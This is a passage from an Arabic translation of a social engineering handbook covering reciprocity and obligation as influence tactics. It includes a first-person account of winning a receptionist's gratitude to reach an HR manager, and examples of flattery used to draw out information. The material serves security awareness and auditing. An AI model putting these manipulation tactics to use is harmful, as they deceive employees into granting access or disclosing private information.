‫ﻛل ھذه أﻣﺛﻠﺔ ﻟﻠﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل )‪ .(Reciprocation‬ﻛﺗب ﻋﺎﻟم اﻻﺟﺗﻣﺎع أﻟﻔﯾن ﺟوﻟدﻧﯾر ورﻗﺔ ﺑﻌﻧوان "‪"The Norm of Reciprocity‬‬
‫واﻟﺗﻲ ﯾﻣﻛﻧك رؤﯾﺗﮭﺎ ﻣن ﺧﻼل اﻟراﺑط ‪ .http://media.pfeiffer.edu/lridener/courses/normrecp.html‬واﻟذي ﯾﻧص ﻋﻠﻰ‪.‬‬

‫ﺗﺣدﯾدا‪ ،‬أرى ان ﻣﻌﯾﺎر اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل‪ ،‬ﻓﻲ ﺷﻛﻠﮫ اﻟﻌﺎم‪ ،‬ﯾﺟﻌل اﺛﻧﯾن ﻣﺗراﺑطﯾن‪ ،‬اﻟﺣد اﻷدﻧﻰ ﻣن اﻟﻣطﺎﻟب‪ (1) :‬ﯾﺟب ﻋﻠﻰ اﻟﻧﺎس أن ﺗﺳﺎﻋد أوﻟﺋك اﻟذﯾن‬
‫ﺳﺎﻋدھم‪ ،‬و )‪ (2‬ﯾﺟب أﻻ ﺗﺟرح اﻟﻧﺎس اﻟذﯾن ﺳﺎﻋدﺗﮭم‪ .‬ﺑﺷﻛل ﻋﺎم‪ ،‬ﻗﺎﻋدة‪/‬ﻣﻌﯾﺎر اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل ﯾﻣﻛن ﺗﺻوره ﻛﺑﻌد واﻟﺗﻲ ﯾﻣﻛن اﻟﻌﺛور ﻋﻠﯾﮫ ﻓﻲ ﺟﻣﯾﻊ‬
‫ﻧظم اﻟﻘﯾم‪ ،‬وﺧﺻوﺻﺎ ﻛواﺣد ﻣن ﺑﯾن ﻋدد ﻣن "اﻟﻌﻧﺎﺻر اﻟرﺋﯾﺳﯾﺔ" اﻟﻌﺎﻟﻣﯾﺔ ﺣﺎﻟﯾﺎ ﻓﻲ اﻟﻘواﻋد اﻷﺧﻼﻗﯾﺔ‪.‬‬

‫أﺳﺎﺳﺎ‪ ،‬أﺑﺣﺎﺛﮫ ﻗﺎدﺗﮫ ﻻن ﯾرى أﻋﻣﺎل اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل ﻋﻠﻰ اﻟرﻏم ﻣن اﻟﺧﻠﻔﯾﺎت اﻟﺛﻘﺎﻓﯾﺔ‪ .‬اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل‪ ،‬ﺗﺳﺗﺧدم ﻓﻲ ظل اﻟظروف‬
‫اﻟﺻﺣﯾﺣﺔ‪/‬اﻟﻣﻧﺎﺳﺑﺔ‪ ،‬ھو ﻛل ﺷﻲء وﻟﻛن ﻣن اﻟﻣﺳﺗﺣﯾل أن ﯾﻘﺎوم‪.‬‬
‫ﻓﻛر ﻓﻲ اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل ﻋﻠﻰ اﻧﮭﺎ ﻋﻣﻠﯾﺔ ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺗوﺳﻊ اﻟﻧطﺎق ﻋﻠﻰ ﺑﻌض اﻟﻧﻘﺎط اﻟرﺋﯾﺳﯾﺔ ﻟﻠﻔﻛرة اﻟﺳﺎﺑﻘﺔ‪.‬‬
‫‪ -‬اﻋطﻲ ﺷﯾﺋﺎ ﺑﻌﯾدا )‪(Give Something Away‬‬
‫اﻟﺷﻲء اﻟذي ﯾﻌطﻲ ﻻ ﯾﻣﻛن أن ﯾﻛون ﺑﻌض اﻟﻘطﻊ اﻟﺑﺳﯾطﺔ اﻟﻐﯾر ﻣرﻏوب ﻓﯾﮭﺎ )اﻟﺧردة(‪ .‬اﻟﺷﻲء اﻟذي ﯾﻌطﻰ ﯾﺟب أن ﯾﻛون ذات ﻗﯾﻣﺔ‬
‫ﻟﻠﻣﺗﻠﻘﻲ‪ .‬اﻟﺗﺧﻠﻲ ﻋن ﻏﻼف رواﯾﺔ ﺟﻣﯾﻠﺔ ﻣﻛﺗوﺑﺔ ﺑﻠﻐﺔ ﻻ ﯾﻘرأھﺎ أو ﯾﺟﻣﻌﮭﺎ اﻟﻣﺗﻠﻘﻲ ﻓﮭوى ﺳدى‪/‬ﻣﺿﯾﻌﮫ‪.‬‬
‫ھذا اﻟﺑﻧد ﯾﻣﻛن أن ﯾﻛون ﺧدﻣﺔ‪ ،‬ﻋﻧﺻر ﻣﺎدي‪ ،‬ﺑﻌض اﻟﻣﻌﻠوﻣﺎت اﻟﻘﯾﻣﺔ واﻟﻣﺳﺎﻋدة‪ ،‬أو أي ﺷﻲء آﺧر ﺳوف ﯾراھﺎ اﻟﻣﺗﻠﻘﻲ ﻗﯾﻣﺔ )ﺣﺗﻰ ﻟو ﻛﺎن‬
‫ﺷﻲء ﺑﺳﯾط ﻣﺛل ﺣﻣل اﻟﺑﺎب أو اﻟﺗﻘﺎط ﺷﻲء ﺳﻘط(‪ .‬ﺑﻌض اﻟﻣﻧظﻣﺎت اﻟﺑﯾﻌﯾﺔ ﺗروج ﻟﮭذه اﻟطرﯾﻘﺔ وﻟﻛن ﺑﻌد ذﻟك ﺗﻘﺻر ﻣن ﺧﻼل ﺗﻘدﯾم ﺷﻲء ﻻ‬
‫ﻗﯾﻣﺔ ﻟﮫ‪ .‬ﺗﺧﯾل أﻧك ﻓﻲ ﻣﻌرض ﺗﺟﺎري‪ ،‬وﻋﻠﻰ ﻛل طﺎوﻟﺔ ھﺑﺔ‪ .‬إذا ﻣﺷﯾت إﻟﻰ طﺎوﻟﺔ وﻻﺣظت ﻛوﻣﺔ ﻣن اﻷﻗﻼم اﻟرﺧﯾﺻﺔ اﻟﻣظﮭر ﻓﺄﻧك ﻗد‬
‫ﺗﻣﺷﻰ ﻓﻘط ﻓﻲ طرﯾﻘك‪ .‬اﻟطﺎوﻟﺔ اﻟﻣﺟﺎورة ﻟدﯾﮭﺎ ﻣﺛل ﻟﻌﺑﺔ اﻟﻐز ﻣﺛﯾرة ﻟﻼھﺗﻣﺎم‪ .‬أﻧت ﻣﻔﺗون ﺑﺣﯾث ﯾﻣﻛﻧك اﺳﺗﻼم ھذه اﻟﺳﻠﻌﺔ‪ .‬ﺑﻌد ﻗﺿﺎء ﺑﺿﻌﺔ‬
‫دﻗﺎﺋﻖ ﻣن اﻟﻠﻌب ﻣﻌﮭﺎ ﯾﻘﺗرب ﻣﻧك ﻣﻧدوب اﻟﻣﺑﯾﻌﺎت وﯾﻘول‪" :‬أرى أﻧك ﺗرﯾد ﺗﻠﻣﯾﺣﺎ؟" ﺛم ﺑﻌد إظﮭﺎر ﺗﻠﻣﯾﺢ ﺻﻐﯾر ﻟك ﯾﺳﺄل إذا ﻛﺎن ﻟدﯾك دﻗﯾﻘﺔ‬
‫واﺣدة ﺣﺗﻰ اﻧﮫ ﯾﻣﻛن أن ﯾظﮭر ﻟك ﺧدﻣﺔ ﻗد ﺗﺣﺑﮭﺎ ﺣﻘﺎ‪.‬‬
‫ﻛﯾف ﺗﻘول ﻻ؟ ﺗﺣﺻل ﻋﻠﻰ ﻟﻌﺑﺔ ﻣﺛﯾرة ﻟﻼھﺗﻣﺎم وﺗﻠﻣﯾﺣﺎ ﻣﺟﺎﻧﺎ‪ ،‬واﻵن ﻛل ﻣﺎ ﯾرﯾد ھو ﻟﺣظﺔ ﻣن وﻗﺗك؟ اﻧﮭﺎ اﻹﻋداد اﻟﻣﺛﺎﻟﻲ‪.‬‬
‫‪ -‬ﺧﻠﻖ ﻣﺷﺎﻋر ﻣدﯾﻧﮫ )‪(Create Indebted Feelings‬‬
‫ﻛﻠﻣﺎ زادت ﻗﯾﻣﺔ اﻟﮭدﯾﺔ اﻟﻣﻌطﺎة إﻟﻰ اﻟﻣﺗﻠﻘﻲ وأﻛﺛر ﻣﻣﺎ ھو ﻏﯾر ﻣﺗوﻗﻊ ﺑﺎﻟﻧﺳﺑﺔ ﻟﮫ‪ ،‬ﻛﻠﻣﺎ زاد اﻟﺷﻌور ﺑﺎﻟﻣدﯾوﻧﯾﺔ‪.‬‬
‫ﻋدم اﻟﺳﻣﺎح ﺑﺎﺳﺗﺧدام اﻟﮭدﯾﺔ ﻓﻲ ﺗﻛﺗﯾك اﻟﺗﻼﻋب اﻟواﺿﺢ ھو اﻟﻣﮭم‪ .‬ﻻ ﺗﻘول أو ﺗﺗﺻرف ﻣﺛل "أﻋطﯾﺗك ھذه اﻟﮭدﯾﺔ اﻟﻌظﯾﻣﺔ اﻵن أﻧت ﻣدﯾن‬
‫ﻟﻲ"‪ .‬ﺣﺗﻰ اﻟﺗﻔﻛﯾر ﯾﻣﻛن أن ﯾﺳﻠب أي ﻣن ﻣﺷﺎﻋر اﻟﻣدﯾوﻧﯾﺔ‪" .‬اﻟﮭدﯾﺔ" ﯾﺟب أن ﺗﻛون ﻣﺟﺎﻧﺎ ﻛﻠﯾﺎ وذات ﻗﯾﻣﺔ ﻛﺑﯾرة ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻣﺳﺗﻠم‪.‬‬
‫ﺟﻣﻌﯾﺔ اﻟرﻓﻖ ﺑﺎﻟﺣﯾوان ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﺗﻌطﻲ ﺑطﺎﻗﺎت ﻋﻧوﻧﺔ ﺑرﯾدﯾﺔ ﺷﺧﺻﯾﺔ ﻛﮭدﯾﺔ ﻣﺟﺎﻧﯾﺔ‪ .‬وﺗرﻓﻖ ﺑدون ﻗﯾود وﻛﺛﯾر‬
‫ﻣن اﻟﻧﺎس ﯾﺳﺗﺧدﻣوﻧﮭﺎ ﻛﺑطﺎﻗﺎت ﻣﻌﺎﯾدة أو رﺳﺎﺋل اﻟﺷﺧﺻﯾﺔ‪ .‬ﻓﮭﻲ ﺟذاﺑﺔ وذات ﻧوﻋﯾﺔ ﺟﯾدة‪ .‬ﻗﻣت ﺑﺎﻟﺗﺳﺟﯾل ﻟﻠﺣﺻول ﻋﻠﯾﮭﺎ‪ ،‬وﺑﻌد ﻋدة أﺷﮭر‬
‫ﺳﺗﺣﺻل ﻋﻠﻰ ﻣﻛﺎﻟﻣﺔ ﺗﺳﺄل ﻋن اﻟﺗﺑرع ﻟدﻋم ﺟﻣﻌﯾﺔ اﻟرﻓﻖ ﺑﺎﻟﺣﯾوان اﻟﻣﺣﻠﯾﺔ‪ .‬ﺷﻌور اﻟﻣﺳﺗﻠم ﻣن اﻻﻟﺗزام ﻋﺎدة ﻣﺎ ﯾﻛون ﻛﺑﯾر ﺟدا ﻟﻠﻣﺳﺎھﻣﺔ وﻟو‬
‫ﻗﻠﯾﻼ‪ .‬أﻣﺛﻠﺔ ﻛﺛﯾرة ﻣن ﻣﺛل ھذه اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل ﻣوﺟودة‪ .‬ﻋﻠﻰ اﻟﺟﺎﻧب اﻵﺧر‪ ،‬اﻟﻌدﯾد ﻣن اﻟﺷرﻛﺎت ﺗﻔﺷل ﻓﻲ اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل ﻣن ﺧﻼل اﻟﺗﻔﻛﯾر‬
‫ﻓﻲ أﺷﯾﺎء ﻣﺛل اﻟﺗﺎﻟﻰ ﻛﺄﻧﮭﺎ ھداﯾﺎ ﺟﯾدة‪:‬‬
‫‪ -‬ﻛﺗﯾﺑﺎت اﻟﺷرﻛﺎت ﺣﺎدة اﻟرؤﯾﺔ وﻣﻠوﻧﺔ‪.‬‬
‫‪ -‬اﻻﻟﻌﺎب ﻋدﯾﻣﺔ اﻟﻔﺎﺋدة وﺧرده‬
‫‪ -‬ﻣطﺑوﻋﺎت اﻟﻣﺑﯾﻌﺎت ﺣول اﻟﻣﻧﺗﺟﺎت أو اﻟﺷرﻛﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪910‬‬

‫ھذه اﻷﻣور ﻻ ﺗﺑﻧﻲ اﻟﺷﻌور ﺑﺎﻟﻣدﯾوﻧﯾﺔ‪ .‬اﻟﻣﺗﻠﻘﻲ ﯾﺟب أن ﯾراھﺎ ﻛ "ھدﯾﺔ" ﻗﯾﻣﺔ‪ .‬ﻣﺻدر آﺧر ﻣن "اﻟﮭداﯾﺎ" اﻟﺗﻲ ﯾﻣﻛن ﺑﻧﺎء اﻟﻣدﯾوﻧﯾﺔ اﻟﺣﻘﯾﻘﯾﺔ ھﻲ‬
‫اﻟﻣﻌﻠوﻣﺎت‪ .‬إﻋطﺎء ﻗطﻊ ﺛﻣﯾﻧﺔ‪ ،‬ﻧﺎﻓﻌﮫ أو ﻣﻔﯾدة ﻣن اﻟﻣﻌﻠوﻣﺎت ﯾﻛون ﺣرﻓﯾﺎ اﻟﻣزﯾد ﻣن اﻻھﺗﻣﺎم أﻛﺛر ﻣن اﻟﮭداﯾﺎ اﻟﻣﺎدﯾﺔ ﻟﻠﺑﻌض‪.‬‬
‫‪ -‬أطﻠب ﻣﺎ ﺗرﯾد )‪(Ask for What You Want‬‬
‫ﻓﻲ ﻣﻧﺎﺳﺑﺔ ﻣﺎ ﺣﯾث ﻗﻣت ﺑﺎﻟدﺧول اﻟﻰ اﻟﻣﺑﻧﻰ‪ ،‬رأﯾت رﺟﻼ ﺑدا ﻛﺛﯾرا ﻣن ﻣظﮭره أﻧﮫ "اﻟزﻋﯾم" ﺣﯾث ﺧرج ﻣن ﺳﯾﺎرﺗﮫ اﻟﻣﺗوﻗﻔﺔ ﻓﻲ اﻟﻣﻛﺎن اﻟﺗﻲ‬
‫وﺿﻌت ﻋﻠﯾﮫ اﻟﻌﻼﻣﺔ "‪ ،"For CFO Only‬وﻛﺎن ﻓﻲ ھذا اﻟوﻗت ﯾﺳﺗﺧدم ھﺎﺗﻔﮫ اﻟﻣﺣﻣول‪ .‬ﻓﻘﺎل اﻧﮫ ﻟﯾس رﺟل ﺳﻌﯾد‪ ،‬وﺳﻣﻌﺗﮫ ﯾﻘول ﻟﺷﺧص‬
‫اﻧﮫ ﻣﺳﺗﺎء ﻷﻧﮫ ﻛﺎن ﻋﻠﯾﮫ أن ﯾذھب ﻟﻠداﺧل وﯾﺗرك ﺑﻌض اﻟﻧﺎس ﯾذھﺑون‪ .‬أﻧﺎ اﻓﺗرﺿت ﻣن ﻟﮭﺟﺗﮫ أﻧﮫ ﻛﺎن ﻣﻊ زوﺟﺗﮫ أو ﺻدﯾﻘﺗﮫ واﻧﮫ ﻟم ﯾﻌﺟﺑﮫ‬
‫اﻟﻌﻣل اﻟذي ﻛﺎن ﻋﻠﻰ وﺷك اﻟﻘﯾﺎم ﺑﮫ‪.‬‬
‫ﻣررت ﺑﻣﺣﺎذاﺗﮫ وذھﺑت إﻟﻰ اﻟﻣﻛﺗب اﻷﻣﺎﻣﻲ وﻣﺷﯾت ﺣﺗﻰ رأﯾت ﻓﺗﺎة ﺧﻠف اﻟﻣﻛﺗب ﺗﻠﻌب ﻛﺎﺳﺣﺔ اﻷﻟﻐﺎم )‪ .(Minesweeper‬وﻋﻧدﻣﺎ اﻗﺗرﺑت‬
‫ﻣن اﻟﺣﺎﺳب أﻋطﺗﻧﻲ اﻟﻘول اﻟذي ﯾﻘﺎل داﺋﻣﺎ‪" ،‬ﻛﯾف ﯾﻣﻛﻧﻧﻲ أن اﺳﺎﻋدك؟" ﻛﺎﻧت ﻟدﯾﮭﺎ ﻧظرة ﻋﻠﻰ وﺟﮭﮭﺎ ﺗﻘول إﻧﮭﺎ ﺗﺷﻌر ﺑﺎﻟﻣﻠل وﻟﯾﺳت ﻓﻲ‬
‫ﻣزاج ﺟﯾد‪ .‬ﻓﻘﻠت ﻟﮭﺎ‪" :‬أﻧظرى‪ ،‬أﻧﺎ ھﻧﺎ ﻟﺣﺿور اﺟﺗﻣﺎع‪ ،‬وﻟﻛن رﺋﯾﺳك ﻓﻲ اﻟﻌﻣل ﻋﻠﻰ وﺷك اﻟﻘدوم اﻟﻰ ھﻧﺎ وھو ﻓﻲ ﻣزاج ﺳﯾﺊ ‪ "...‬ﺑﻌد ذﻟك‬
‫ﺳﺣﺑت ﻧﻔﺳﻲ ووﻗﻔت ھﻧﺎك ﻣﻊ ﻣﺟﻠد ﻓﻲ ﯾدي‪ .‬ﺑﺿﻊ ﺛوان ﻣن وﻗت ﻻﺣﻖ اﻟزﻋﯾم اﻟﺑﺎب اﻷﻣﺎﻣﻲ ﺛم ﻗﻠت ﻟﮭﺎ ﺑﺻوت ﻋﺎل "‪ ،‬ﺷﻛرا ﺟزﯾﻼ‬
‫ﻟﺟﮭودك ﻣﻌﻲ‪ .‬ﺣﯾث ﻛﺎﻧت ﺗﻧظر ھﻧﺎك ﻓﻘﺎﻟت ﻟﻲ‪" :‬ﻋﻔوا ﯾﺎ ﺳﯾدي"‪ ،‬ﺛم ﻗﺎﻟت ﻟرﺋﯾﺳﮭﺎ‪" ،‬ﺻﺑﺎح اﻟﺧﯾر‪ ،‬اﻟﺳﯾد ﺳﻣﯾث‪ ،‬ﻟدي رﺳﺎﺋﻠك"‪ ،‬ﺛم ﺳﻠﻣﮫ‬
‫ﻛوﻣﺔ ﺻﻐﯾرة ﻣن اﻟورق ﺑﯾﻧﻣﺎ ﻛﺎن ﯾﺳﯾر اﻟﻰ اﻟداﺧل‪.‬‬
‫ﻋﻧدﻣﺎ دﺧل ﻣﻛﺗﺑﮫ ﺷﻛرﺗﻧﻲ ﺑﻐزارة‪ .‬أﻧﺎ ﻓﻘط ﻗﻣت ﺑﺈﻧﻘﺎذھﺎ وھﻲ ﺗﻌﻠم ذﻟك‪ .‬اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ أﻋطﯾﺗﮭﺎ ﻻ ﺗﻘدر ﺑﺛﻣن‪ ،‬وﻛﻠﻣﺎﺗﻲ اﻟﻘﺎدﻣﺔ ﺳوف ﺗﻛون‬
‫ﺣﺗﻣﯾﺔ‪" :‬أﻧﺎ ﺑﺣﺎﺟﺔ ﻟﻣﺳﺎﻋدﺗك"‪ .‬أردت أن أرى ﻣدﯾر اﻟﻣوارد اﻟﺑﺷرﯾﺔ ﻟﻣﺟرد ﻟﻘﺎء ﻗﺻﯾر‪ .‬ھل ﯾﻣﻛﻧك ﺟﻌﻠﻲ أﺻل اﻟﻰ ﻣﻛﺗﺑﮫ ﺳرﯾﻌﺎ؟"‬
‫ﻣﺷت ﺑﻲ ﻣرة أﺧرى إﻟﻰ ﻣﻛﺗب اﻟﻣدﯾر‪ ،‬وﻗدﻣﺗﻧﻲ ﻟﮫ ﺑﺄﻧﻲ "ﺻدﯾﻘﮭﺎ"‪ ،‬ﻓﻲ ﻏﺿون دﻗﺎﺋﻖ أطﻼق ﺧطﺗﻲ‪ ،‬وﺟﻣﯾﻊ ذﻟك ﺑﻔﺿل اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬اﻟﺑﺣث ﻋن ﻓرص ﺿﺋﯾﻠﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗﻌطﯾﮭﺎ ﺳوف ﺗﺟﻌﻠك ﻗﯾﻣﺔ ﻋﻧد اﻟﻣﺗﻠﻘﻲ وﻣﮭم‪ ،‬وﺟﻌل اﻟﻣﺗﻠﻘﻲ ﻣدﯾن ﻟك‪.‬‬
‫ﻛون ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن ﻣﺣﯾطك وﻣﺎ اﻷﺷﯾﺎء اﻟﺗﻲ ﯾﻣﻛﻧك اﻟﻘﯾﺎم ﺑﮫ ﻟﺟﻌل أھداﻓك ﻣدﯾﻧﯾن ﻟك ﻗﻠﯾﻼ‪ .‬ﺗذﻛر أﻧﮫ ﻟﯾس ﻣن اﻟﺿروري أن ﺗﻛون ﺷﻲء‬
‫ﻣدھش‪ ،‬ﻣﺟرد ﺷﻲء ﯾﻘدروﻧﮫ‪ .‬ھﻧﺎك ﻧﻘطﺔ ﺟﯾدة ﺗﺄﺧذ ﻓﻲ اﻻﻋﺗﺑﺎر ھو أن ﻻ "ﺗطﺎرد" اﻟﮭدف‪ .‬اﻟوﻗوف واﻟﺗﺣدﯾﻖ ﻓﻲ اﻟوﺟﮭﺔ واﻧﺗظﺎر اﻟﻔرﺻﺔ‬
‫ﻟﻔﻌل أو ﻗول ﺷﻲء ﯾﻣﻛن أن ﯾﻛون ﻣﻧﻔرا‪ .‬ھذه اﻟﻣﺑﺎدئ ﯾﺟب ان ﺗﻛون طﺑﯾﻌﯾﺔ‪.‬‬
‫طﺑﯾﻌﯾﺔ ﺗﻌﻧﻲ أﻧك ﺗﺑدأ ﻓﻲ ﻓﻌل ھذه اﻟﻣﺑﺎدئ ﻓﻲ اﻟﺣﯾﺎة اﻟﯾوﻣﯾﺔ‪ .‬ﻗم ﺑﻔﺗﺢ اﻷﺑواب أﻣﺎم اﻟﻧﺎس‪ ،‬وﻛون ﻣﮭذﺑﺎ ﺟدا‪ ،‬واﻟﺑﺣث ﻋن ﻓرص ﻟﻠﻘﯾﺎم ﺑﺄﺷﯾﺎء‬
‫ﺟﯾدة ﻟﻶﺧرﯾن‪ .‬ھذه اﻹﺟراءات ﺳوف ﺗﺻﺑﺢ طﺑﯾﻌﺔ ﺛﺎﻧﯾﺔ وﺳﯾﻛون ﻟدﯾك ﻋدد أﻗل ﻣن اﻟﺻراﻋﺎت ﻟﻠﻘﯾﺎم ﺑﮭﺎ ﻓﻲ أﻋﻣﺎل اﻟﺗدﻗﯾﻖ‪ .‬اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل‬
‫ھو ﺗﻛﺗﯾك ﻟﮫ ﺗﺄﺛﯾر ﻗوي‪.‬‬
‫اﻻﻟﺘﺰام‪/‬اﻟﻌﮭﺪ )‪(Obligation‬‬
‫اﻻﻟﺗزام )‪ (Obligation‬ﻟﮫ ﻋﻼﻗﺔ ﻣﻊ اﻹﺟراءات اﻟﺗﻲ ﯾﺷﻌر اﻟﻣرء ﺑﺄﻧﮫ ﺑﺣﺎﺟﺔ إﻟﻰ اﺗﺧﺎذھﺎ ﺑﺳﺑب ﻧوﻋﺎ ﻣن اﻟﺷرط اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬اﻟﻘﺎﻧوﻧﻲ‪ ،‬أو‬
‫اﻷﺧﻼﻗﻲ‪ ،‬واﺟب أو ﻋﻘد أو وﻋد‪ .‬ﻓﻲ ﺳﯾﺎق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬اﻻﻟﺗزام ﯾرﺗﺑط ارﺗﺑﺎطﺎ وﺛﯾﻘﺎ ﺑﺎﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل وﻟﻛﻧﮫ ﻻ ﯾﻘﺗﺻر ﻋﻠﻰ ذﻟك‪.‬‬
‫اﻻﻟﺗزام )‪ (Obligation‬ﯾﻣﻛن أن ﯾﻛون ﺑﺳﯾطﺎ ﻣﺛل ﻓﺗﺢ اﻟﺑﺎب اﻟﺧﺎرﺟﻲ ﻟﻠﺷﺧص‪ ،‬اﻟذي ﻋﺎدة ﻗﺎم ﺑﻔﺗﺢ اﻟﺑﺎب اﻟداﺧﻠﻲ ﻟك‪ .‬ﯾﻣﻛن أن ﯾﻛون‬
‫ﻣﺗﺻﺎﻋدا ﻟﺷﺧص ﯾﻌطﯾك ﻣﻌﻠوﻣﺎت ﺧﺎﺻﺔ ﻷﻧك ﺧﻠﻘت ﻓﻲ ﻧﻔوﺳﮭم ﺷﻌورا ﺑﺎﻻﻟﺗزام ﺗﺟﺎھك‪ .‬اﻻﻟﺗزام )‪ (Obligation‬ھو أﻛﺛر ﻧﺎﻗﻼت اﻟﮭﺟوم‬
‫ﺷﯾوﻋﺎ ﻋﻧد اﺳﺗﮭداف اﻟﻧﺎس وﺧدﻣﺔ اﻟﻌﻣﻼء‪.‬‬
‫ﯾﻣﻛﻧك أﯾﺿﺎ اﺳﺗﺧدام اﻻﻟﺗزام )‪ (Obligation‬ﻓﻲ ﺟرﻋﺎت ﺻﻐﯾرة ﻣن ﺧﻼل اﻻﺳﺗﻔﺎدة ﻣن اﻟﻣدح اﻟذﻛﻲ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻗم ﺑﻣدح‬
‫اﻟﺷﺧص‪ ،‬ﺛم ﺗﺎﺑﻊ ھذا اﻻﻣر ﺑﺎﻟطﻠب‪ .‬ھذا اﻷﺳﻠوب ﻣن اﻟﺳﮭل ﺟدا ان ﺗﻔﻌﻠﮫ ﺧطﺄ ا إذا ﻛﻧت ﺟدﯾدا أو ﻋدﯾم اﻟﺧﺑرة‪ ،‬وﯾﻣﻛن أن ﯾﺄﺗﻲ ﻣزﯾﻔﺎ ﻣﻣﺎ‬
‫ﯾﻧﺑﮫ اﻹﺣﺳﺎس اﻟداﺧﻠﻲ ﻟﻠﮭدف وﻟﮫ ﺗﺄﺛﯾر ﺧطﺄ‪ .‬وﻟﻛن إذا ﻓﻌﻠﺗﮫ ﺑﺷﻛل ﺻﺣﯾﺢ‪ ،‬ﻓﯾﻣﻛن أن ﯾؤدي إﻟﻰ اﻟﺣﺻول ﻋﻠﻰ ﻗطﻊ ﺻﻐﯾرة ﻣن اﻟﻣﻌﻠوﻣﺎت‬
‫اﻟﻘﯾﻣﺔ‪.‬‬
‫ﻣﺛﺎل ﻻﺳﺗﺧدام اﻟﻣدح ﻓﻲ اﻟطرﯾﻖ اﻟﺧطﺄ ﺳﯾﻛون ﺷﯾﺋﺎ ﻣﺛل‪" ،‬واو‪ ،‬ﻟدﯾك ﻋﯾون ﺟﻣﯾﻠﺔ‪ ،‬ھل ﯾﻣﻛن أن ﻧدﺧل اﻟﻰ ﻏرﻓﺔ اﻟﺧﺎدم اﻟﺧﺎص ﺑك؟"‬
‫أﺻوات ﻏﺑﯾﮫ‪ ،‬أﻟﯾس ﻛذﻟك؟ ﺗﺄﻛد ﻣن طرﯾﻘﺔ اﻟﻘول ﺑﺻوت ﻋﺎل ﻟﺗرى ﻛﯾف ﺗﺑدو‪.‬‬
‫ﻣﺣﺎدﺛﺔ ﺻﻐﯾرة ﻣﺛل ھذه‪ ،‬ﻣن ﻧﺎﺣﯾﺔ أﺧرى‪ ،‬ﯾﻣﻛن أن ﺗﻛون وﺳﯾﻠﺔ ﻣﻧﺎﺳﺑﺔ ﻟﻠﻣدح‪:‬‬
‫ﻋﻧدﻣﺎ اﻗﺗرﺑت ﻣن ﻣﻛﺗب ﻣوظف اﻻﺳﺗﻘﺑﺎل رأﯾت ﺑﻌض اﻟﺻور ﻟزوﺟﯾن ﻣن اﻷطﻔﺎل ﻓﻲ ﻋﺎﻟم دﯾزﻧﻲ وﺑﻌد ﺗﻘدﯾم ﻧﻔﺳﻲ ﻗﻠت‪" ،‬ھل ھؤﻻء‬
‫أطﻔﺎﻟك؟ ھم ﺑﺎﻟﺗﺄﻛﯾد ﻟطﻔﺎء‪" .‬ﺑﻐض اﻟﻧظر إذا ﻛﺎﻧوا أطﻔﺎل ﻣوظف اﻻﺳﺗﻘﺑﺎل أو أﺑﻧﺎء إﺧوﺗﮫ‪ ،‬ﻓﮭﻲ ﻋﻠﻰ اﻷرﺟﺢ ﺳوف ﺗﻣﺗﻊ ﺑﺎﻟﻣدح اﻟذي ﻗﻠﺗﮫ‪.‬‬
‫ﺛم ﺗﺎﺑﻌت اﻟﻛﻼم وﻗﻠت " ﻟدى اﻧﺎ اﻻﺧر طﻔﻠﯾن‪ .‬أﻧﮭم ﯾﺑﻘﯾﺎﻧﻲ ﺷﺑﺎﺑﺎ‪ ،‬اﻟﯾس ﻛذﻟك؟"‬
‫ﻣوظﻔﺔ اﻻﺳﺗﻘﺑﺎل‪" :‬ﻧﻌم‪ ،‬ھؤﻻء أطﻔﺎﻟﻲ‪ .‬وﻟﻛﻧﻰ ﻟﺳت ﻣﺗﺄﻛدة ﻣن ﻣوﺿوع اﻧﮭم ﯾﺑﻘﯾﺎن اﻟﺷﺑﺎب"‪ ،‬وﻣﻊ ﺿﺣك ﺧﺎﻓت‪ "،‬ﻟﻛﻧﮭم ﯾﺗﻌﺑوﻧﻧﻲ" ‪.‬‬
‫أﻧﺎ‪" :‬أﻧﺎ ﻟم أﺧذ أطﻔﺎﻟﻲ ﺑﻌد اﻟﻰ ﻋﺎﻟم دﯾزﻧﻲ "‪" .‬ھل ﺗﺟدﯾن أطﻔﺎﻟك اﺳﺗﻣﺗﻌوا ﻋﻧد ھذا اﻟﻌﻣر؟"‪.‬‬
‫ﻣوظﻔﺔ اﻻﺳﺗﻘﺑﺎل‪" :‬أوه ﻧﻌم‪ ،‬ﻟﻘد أﺣﺑوا ﻛل ﺛﺎﻧﯾﺔ ھﻧﺎك"‪ .‬واﺿﺎﻓت "ﻟﻘد ﻛﺎﻧت اﺑﻧﺗﻲ ﻣﻊ أﺑﯾﮭﺎ‪ ،‬وﻗﺎﻟت ﻟﻲ اﻧﮭم ﻛﺎﻧوا ﯾﻠﮭون ھﻧﺎك"‪.‬‬

